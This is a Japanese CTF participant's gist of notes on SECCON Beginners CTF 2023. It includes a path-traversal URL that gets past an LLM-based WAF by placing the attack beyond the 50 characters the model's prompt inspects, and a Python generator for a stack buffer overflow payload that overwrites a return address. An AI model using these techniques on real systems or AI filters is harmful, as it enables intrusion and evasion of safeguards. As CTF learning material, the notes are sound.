Skip to content

Instantly share code, notes, and snippets.

@hassaku63
Last active June 4, 2023 05:29
Show Gist options
  • Save hassaku63/851f7ab648688e992a57e5ea50400afa to your computer and use it in GitHub Desktop.
Save hassaku63/851f7ab648688e992a57e5ea50400afa to your computer and use it in GitHub Desktop.
SECCON Beginners CTF 2023

URL: https://score.beginners.seccon.jp/

今回 CTF 初挑戦だったので、やってたこと、考えてたことなどを雑にメモっていく場所。

マジで何もわかっていないで書いてるので、(これを見てしまった人向けに)正解にたどり着きたい人、参考情報を得たい人が見るような「資料」じゃないことを予め断っておく。

自分が何考えてたのかをある程度 dump したものであって、バックグラウンドを理解して書いてるものではない。

競技日程

2023/06/03(土) 14:00 JST - 2023/06/04(日) 14:00 JST

競技形式

Jeopardy形式

ルール

  1. 得点はチーム毎に集計します。集計にはダイナミックスコアリング方式(多くのチームが解いた問題ほど点数が低くなるような方式)を用います。
  2. 原則競技中には問題の追加を行いません。問題の設定ミスなどが発覚した場合には、例外的に修正版の問題が公開される場合があります。
  3. フラグのフォーマットは ctf4b{[\x20-\x7e]+} です。これと異なる形式を取る問題に関しては、別途問題文等でその旨を明示します。
  4. 誤った解答を短時間の内に何度も送信した場合は、当該チームからの回答を一定時間受け付けない状態(ロック状態)になる場合があります。またこの状態でさらに不正解を送信し続けた場合はロックされる時間がさらに延長される可能性があります。

禁止事項

  1. 他チームへの妨害行為
  2. 他チームの回答などをのぞき見する行為
  3. 他者への攻撃的な発言 (暴言 / 誹謗中傷 / 侮辱 / 脅迫 / ハラスメント行為など)
  4. 自チームのチーム登録者以外に問題・ヒント・解答を教えること
  5. 自チームのチーム登録者以外からヒント・解答を得ること(ただし運営者が全員に与えるものを除く)
  6. 設問によって攻撃が許可されているサーバ、ネットワーク以外への攻撃
  7. 競技ネットワーク・サーバなどの負荷を過度に高める行為(リモートから総当たりをしないと解けない問題はありません!)
  8. その他、運営を阻害する行為

不正行為が発見された場合、運営側の裁量によって減点・失格などのペナルティがチームに対して課せられます。大会後に発覚した場合も同様とします。

特記事項

  1. 出題内容や開催中のアナウンスは原則日本語としますが、問題中で英語が用いられる場合があります。
  2. チーム人数に制限はありません。お一人でも、数十人でも、お好きな人数でチームを作成していただいて構いません。
  3. 本大会では上位チームへの賞金・賞状の授与等は行いません。
  4. SECCON CTF への出場権とは一切の関係がありませんので、ご注意ください。
@hassaku63
Copy link
Author

exiftool で description を取得してみる。

$ exiftool -s -s -s -description sample/sushi.jpg      
CTF4B
$ cp sample/sushi.jpg out.jpg

$ exiftool -description="JPEG PNG GIF TXT" out.jpg
    1 image files updated

$ file -bkr out.jpg 
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=CTF4B], baseline, precision 8, 1404x790, components 3
- data

@hassaku63
Copy link
Author

以下のコマンドでいい感じになった。

$ exiftool -ImageDescription="JPEG PNG GIF ASCII" out2.jpg
    1 image files updated

$ file -bkr out2.jpg
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=JPEG PNG GIF ASCII], baseline, precision 8, 1404x790, components 3
- data
$ cat out2.jpg| nc polyglot4b.beginners.seccon.games 31416

@hassaku63
Copy link
Author

aiwaf

プロンプトハックかと思ったら、そうでもなかった。

プロンプトを構成しているのが以下のテキスト。

prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""

なので、50文字以降にトラバーサルのクエリが来ればOK。

例えばこんな感じ。

https://aiwaf.beginners.seccon.games/?text=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&file=../flag

@hassaku63
Copy link
Author

hassaku63 commented Jun 3, 2023

rewriter2

コードを見た感じ、32byte の入力を2回行うことで、
あるいは2回行った後の __show_stack() でバッファオーバーフローが発生するようにしてくれ、という問題らしい

方法については ChatGPT に聞いてみた。

CTFのpwnable問題を解いています。
C言語で書かれたプログラムが手元にあります。


バッファオーバーフローを利用して、main 関数から直接呼び出されていない関数を呼び出すにはどういった方法がありますか?

呼び出したい関数のシグネチャは以下とします。
void win();

CTF (Capture The Flag) の pwnable 問題では、様々なバイナリエクスプロイト手法を使って、通常は呼び出されない関数を呼び出す、あるいは任意のコードを実行することが求められます。

あなたが述べたように、特定の関数(この場合 void win();)を呼び出すための一般的な手法はバッファオーバーフローを使うことです。

バッファオーバーフローを利用してプログラムのフローを制御する手法としては、主に次の2つがあります。

  1. スタックバッファオーバーフロー (Stack Buffer Overflow):
    この手法では、スタック上のバッファに対するオーバーフローを利用します。具体的には、スタック上のリターンアドレスをオーバーライドすることで、関数がリターンする際のジャンプ先を任意の関数(この場合 win)に変更します。

  2. ヒープバッファオーバーフロー (Heap Buffer Overflow):
    ヒープ上のバッファに対するオーバーフローを利用する手法です。関数ポインタや任意のデータ構造をオーバーライドすることでプログラムのフローを制御します。

これらの手法を利用するには、まずそのプログラムにバッファオーバーフローが可能な箇所があるかどうか、例えば gets などの安全でない関数が使われているかなどを確認します。

もしバッファオーバーフローが可能であれば、次にどのようにオーバーフローを起こすか、どのアドレスにジャンプすれば win 関数を呼び出せるかなどを調査します。

これらの調査は、プログラムのソースコードの解析だけでなく、デバッガや逆アセンブラを使ったバイナリの解析も含みます。

なお、これらの手法は現実のシステムで用いると違法行為となりますので、許可された環境でのみ利用してください。

また、実際のシステムでは、ASLR (Address Space Layout Randomization) や スタックカナリ (Stack Canary) などの保護メカニズムが使われることがあります。これらのメカニズムを回避するための追加的な手法を用いる必要がある場合もあります。

ASLR や Stack Canary について、補足して教えてください

もちろんです。それぞれの概念について説明します。

ASLR (Address Space Layout Randomization): ASLRはメモリエクスプロイトを難しくするためのセキュリティ技術です。具体的には、プログラムがロードされるときにそのアドレス空間がランダム化されます。つまり、各実行ごとにスタック、ヒープ、ライブラリ、そして実行可能コード等の位置が変わります。その結果、攻撃者は予めメモリアドレスを知ることができず、エクスプロイトの作成が難しくなります。このASLRを回避する方法の一つとしては、リーク攻撃(Leak Attack)があります。これは、何らかの方法でメモリアドレスを漏らすことでASLRの効果を無効化します。

Stack Canary: スタックカナリはスタックバッファオーバーフロー攻撃を防ぐためのセキュリティメカニズムです。この技術では、関数呼び出しの際に予め定められたランダムな値(カナリ値)をスタックフレームに保存します。関数がリターンする前に、このカナリ値が変更されていないか確認します。もしカナリ値が変更されていた場合、それはバッファオーバーフロー攻撃が行われたことを示しており、その場合プログラムは中断されます。スタックカナリを回避するためには、カナリの値を変更せずにエクスプロイトを行うか、あるいは何らかの方法でカナリの値を予め知る必要があります。

これらのセキュリティメカニズムは現代のシステムでは広く採用されており、エクスプロイトを作成する際にはこれらのメカニズムをどのように回避するかも考慮する必要があります。

@hassaku63
Copy link
Author

__show_stack() の実装を見る限り、Stack canary は隠されているように見える。これは後から考える。

ひとまず、関数呼び出しでスタックが積まれる場合のメモリレイアウトを理解することろから。

(ChatGPT)
関数呼び出し時における引数や戻り先のアドレスはどのようなメモリレイアウトになりますか?

関数呼び出し時の引数や戻り先のアドレスのメモリレイアウトは、プラットフォームやアーキテクチャによって異なりますが、一般的なC言語の呼び出し規約に基づいて説明します。

C言語の一般的な呼び出し規約では、以下のようなメモリレイアウトが一般的です(x86アーキテクチャを例に説明します):

  1. スタック領域(Stack Area):
  • スタック領域は関数呼び出しによって使用されるローカル変数や一時的なデータを格納するための領域です。
  • 引数は通常、スタック領域にプッシュされます。引数の順序やプッシュの方法は呼び出し規約によって異なりますが、通常は右から左の順にスタックにプッシュされます。
  • スタック領域にはスタックフレームと呼ばれるデータ構造が存在し、スタックフレームには引数、ローカル変数、一時的なデータ、戻り先のアドレスなどが格納されます。
  1. プログラムカウンタ(Program Counter):
  • プログラムカウンタは、実行中の命令のアドレスを指すレジスタです。
  • 関数呼び出し時には、現在の関数の戻り先のアドレスがプログラムカウンタに保存されます。これにより、関数が終了した後に制御が戻る場所がわかります。
  1. ベースポインタ(Base Pointer):
  • ベースポインタは、スタックフレーム内のローカル変数や引数へのアクセスを容易にするためのレジスタです。
  • ベースポインタは、スタックフレーム内のデータへの相対的なオフセットを計算するために使用されます。

上記のメモリレイアウトは一般的なものであり、特定のプラットフォームやアーキテクチャによって細かな違いがあるかもしれません。特に、異なる呼び出し規約やアーキテクチャが使用される場合は、メモリレイアウトが異なる可能性があります。したがって、特定のプラットフォームやアーキテクチャの呼び出し規約やメモリレイアウトについては、そのドキュメントや仕様を参照することをおすすめします。

@hassaku63
Copy link
Author

hassaku63 commented Jun 4, 2023

Stack buffer を用いるとして話を進める。

まずは仕組みを知らないとどうしようもないので、「戻り先のアドレス」をどこで指定するのか調べる。

__show_stack() を見つつなんとなく想像してみる

[Addr]             | [Value]            
====================+===================
 0x00007fffffffe220 | 0x00007ffff7fbf2e8  <- buf
 0x00007fffffffe228 | 0x0000555555555500 
 0x00007fffffffe230 | 0x0000000000000000 
 0x00007fffffffe238 | 0x0000555555555120 
 0x00007fffffffe240 | 0x00007fffffffe340 
 0x00007fffffffe248 | xxxxx hidden xxxxx  <- canary
 0x00007fffffffe250 | 0x0000000000000000  <- saved rbp
 0x00007fffffffe258 | 0x00007ffff7df2083  <- saved ret addr
 0x00007fffffffe260 | 0x00007ffff7ffc620 
 0x00007fffffffe268 | 0x00007fffffffe348 

自分のイメージはこれ。

出典: https://courses.engr.illinois.edu/cs225/fa2022/resources/stack-heap/

今回介入できるのはローカル変数なのでスタック領域の話、と想像している。

レジスタの説明を見てみる: https://www.mztn.org/lxasm64/amd04.html
さっきの課題で使った radare2 の出力なども見てみると、おそらく主要レジスタはこんな感じ?

  • RAX, RBX, RCX, RDX ... 汎用
  • RSI, RDI ... アドレス系入ってることが多い?
  • RBP ... 多分、引数をスタックに積む時のアドレス...?
  • RSP ... 戻り先っぽい

RAX は関数呼び出しの戻り値になっていそう。
RCX, RDX は第1, 第2引数に使われていそう

main で宣言されてるローカル変数がこれ

┌ 204: int main (int argc, char **argv, char **envp);
│           ; var int64_t var_8h @ rbp-0x8
│           ; var int64_t var_30h @ rbp-0x30

コードを見比べると、これは char buf[BUF_SIZE]; に対応しているはず。

__show_stakc() 付近の操作がこれ。

│           0x0040125c      488d45d0       lea rax, [var_30h]
│           0x00401260      4889c7         mov rdi, rax
│           0x00401263      e87d000000     call sym.__show_stack

__show_stack() には buf のポインタを渡していることから、main の var_30h が buf であるとわかる。

やってることは

  1. buf のアドレスを rax にコピー
  2. rax を rdi にコピー
  3. __show_stack 呼び出し

rdi が第一引数ということになりそう。戻り値が rax なのはなんとなく他の実験から見えているので、そこは合っているていで読み進める。

次に __show_stack()

[0x004012e5]> pdf
            ; CALL XREFS from main @ 0x401218(x), 0x401263(x), 0x4012a2(x)
┌ 411: sym.__show_stack (int64_t arg1);
│           ; arg int64_t arg1 @ rdi
│           ; var int64_t var_8h @ rbp-0x8
│           ; var int64_t var_ch @ rbp-0xc
│           ; var int64_t var_18h @ rbp-0x18
│           0x004012e5      f30f1efa       endbr64
│           0x004012e9      55             push rbp
│           0x004012ea      4889e5         mov rbp, rsp
│           0x004012ed      4883ec20       sub rsp, 0x20
│           0x004012f1      48897de8       mov qword [*ptr], rdi    ; arg1

ローカル変数は宣言順の逆順に並ぶので、最初に宣言されてる unsigned long *ptr = stack;var int64_t var_18h @ rbp-0x18 に対応 してるらしいとわかる

@hassaku63
Copy link
Author

hassaku63 commented Jun 4, 2023

ローカル変数とか引数が Stack に積まれるのはイメージついた。

他に何が積まれているのかは __show_stack() の内容がいったん全部出してくれてるものとして見ていく

資料になりそうなスライドがあるのでこちらも見比べる。

https://www.slideshare.net/codeblue_jp/master-canary-forging-by-code-blue-2015#9

[Addr]             | [Value]            
====================+===================
 0x00007fffffffe220 | 0x00007ffff7fbf2e8  <- buf
 0x00007fffffffe228 | 0x0000555555555500 
 0x00007fffffffe230 | 0x0000000000000000 
 0x00007fffffffe238 | 0x0000555555555120 
 0x00007fffffffe240 | 0x00007fffffffe340 
 0x00007fffffffe248 | xxxxx hidden xxxxx  <- canary
 0x00007fffffffe250 | 0x0000000000000000  <- saved rbp
 0x00007fffffffe258 | 0x00007ffff7df2083  <- saved ret addr
 0x00007fffffffe260 | 0x00007ffff7ffc620 
 0x00007fffffffe268 | 0x00007fffffffe348 
  • "canary" は stack canary
  • "saved rdp" は framepointer
  • "saved ret addr" がリターンアドレス

という解釈になりそう。これを canary を変更しないで(?) "ret addr" だけ win() のアドレスになるよう上書きしたい、というのがこの問題のやりたいことに見える。

main では 1 byte x 32 要素の buf に対して最大 256 byte まで入力を許しているので、十分に ret addr を書き換えるだけの入力を受け付けられるように見える。

@hassaku63
Copy link
Author

リターンアドレスの書き換えには、

  • buf = 32 byte
  • (?) = 8 byte
  • canary = 8 byte
  • saved rbp = 8 byte
  • saved ret addr = 8 byte

が必要。

56 byte を適当に埋めて、次の 8 byte にリターンアドレスを上書きする必要がある

win() のシンボルはこうなる。

nth paddr      vaddr      bind   type   size lib name                                   demangled
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
64  0x000012c2 0x004012c2 GLOBAL FUNC   35       win  ; 元のバイナリ
67  0x000012eb 0x000012eb GLOBAL FUNC   35       win  ; ubuntu 上で再コンパイルした場合

元のバイナリのアドレス = 0x004012c2 を決め打ちで行ってみる

 [Addr]             | [Value]            
====================+===================
 0x00007fffc6475a70 | 0x00007fb47812c2e8  <- buf
 0x00007fffc6475a78 | 0x00000000004014e0 
 0x00007fffc6475a80 | 0x0000000000000000 
 0x00007fffc6475a88 | 0x0000000000401110 
 0x00007fffc6475a90 | 0x00007fffc6475b90 
 0x00007fffc6475a98 | xxxxx hidden xxxxx  <- canary
 0x00007fffc6475aa0 | 0x0000000000000000  <- saved rbp
 0x00007fffc6475aa8 | 0x00007fb477f5f083  <- saved ret addr
 0x00007fffc6475ab0 | 0x00007fb478165620 
 0x00007fffc6475ab8 | 0x00007fffc6475b98 

What's your name? 1234
Hello, 1234

 [Addr]             | [Value]            
====================+===================
 0x00007fffc6475a70 | 0x00007f0a34333231  <- buf
 0x00007fffc6475a78 | 0x00000000004014e0 
 0x00007fffc6475a80 | 0x0000000000000000 
 0x00007fffc6475a88 | 0x0000000000401110 
 0x00007fffc6475a90 | 0x00007fffc6475b90 
 0x00007fffc6475a98 | xxxxx hidden xxxxx  <- canary
 0x00007fffc6475aa0 | 0x0000000000000000  <- saved rbp
 0x00007fffc6475aa8 | 0x00007fb477f5f083  <- saved ret addr
 0x00007fffc6475ab0 | 0x00007fb478165620 
 0x00007fffc6475ab8 | 0x00007fffc6475b98 

と、リトルエンディアン(であってる?)で入っていく様子が見える

56 byte を適当に埋めて、次の 8 byte にリターンアドレスを上書きする必要がある

0x000012c2 を埋めるためには

[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xc2] これを逆順して並べると良さそう?

@hassaku63
Copy link
Author

hassaku63 commented Jun 4, 2023

雑にバイナリ生成書いてみた。

# gen.py
base = [0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37]

data = []

# buf
data.append(base)
data.append(base)
data.append(base)
data.append(base)
# ?
data.append(base)
# canary
data.append(base)
# frame pointer
#data.append(base)
# saved rbp
# data.append(base)
data.append([0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])


addr = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xc2]
addr.reverse()

data.append(addr)

with open('data', 'wb') as fp:
    for item in data:
        fp.write(bytes(item))

__show_stack() の出力見ながら適当にコメント入れたりしてるので↑のコードはまあ当てずっぽう

python gen.py
$ cat data | nc rewriter2.beginners.seccon.games 9001

 [Addr]             | [Value]            
====================+===================
 0x00007fffaf6ed2e0 | 0x00007fb81acfd2e8  <- buf
 0x00007fffaf6ed2e8 | 0x00000000004014e0 
 0x00007fffaf6ed2f0 | 0x0000000000000000 
 0x00007fffaf6ed2f8 | 0x0000000000401110 
 0x00007fffaf6ed300 | 0x00007fffaf6ed400 
 0x00007fffaf6ed308 | xxxxx hidden xxxxx  <- canary
 0x00007fffaf6ed310 | 0x0000000000000000  <- saved rbp
 0x00007fffaf6ed318 | 0x00007fb81ab30083  <- saved ret addr
 0x00007fffaf6ed320 | 0x00007fb81ad2f620 
 0x00007fffaf6ed328 | 0x00007fffaf6ed408 

What's your name? Hello, 012345670123456701234567012345670123456701234567

 [Addr]             | [Value]            
====================+===================
 0x00007fffaf6ed2e0 | 0x3736353433323130  <- buf
 0x00007fffaf6ed2e8 | 0x3736353433323130 
 0x00007fffaf6ed2f0 | 0x3736353433323130 
 0x00007fffaf6ed2f8 | 0x3736353433323130 
 0x00007fffaf6ed300 | 0x3736353433323130 
 0x00007fffaf6ed308 | xxxxx hidden xxxxx  <- canary
 0x00007fffaf6ed310 | 0x0000000000000000  <- saved rbp
 0x00007fffaf6ed318 | 0x00000000000012c2  <- saved ret addr
 0x00007fffaf6ed320 | 0x00007fb81ad2f620 
 0x00007fffaf6ed328 | 0x00007fffaf6ed408 

How old are you? 

"How old are you? " は適当に入力してみた。が、制御が戻ってこない

@hassaku63
Copy link
Author

↑制御が戻ってこないということは

0x00000000000012c2 という指定の仕方が自分の意図と反しているか、
あるいは canary の書き換えが検知されたか、だと思っている

ただ、canary について調べてみた感じではそのまま終了するっぽいようにも見えるのでたぶん前者なんじゃかなろうかと思っている(よくわかっていない)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment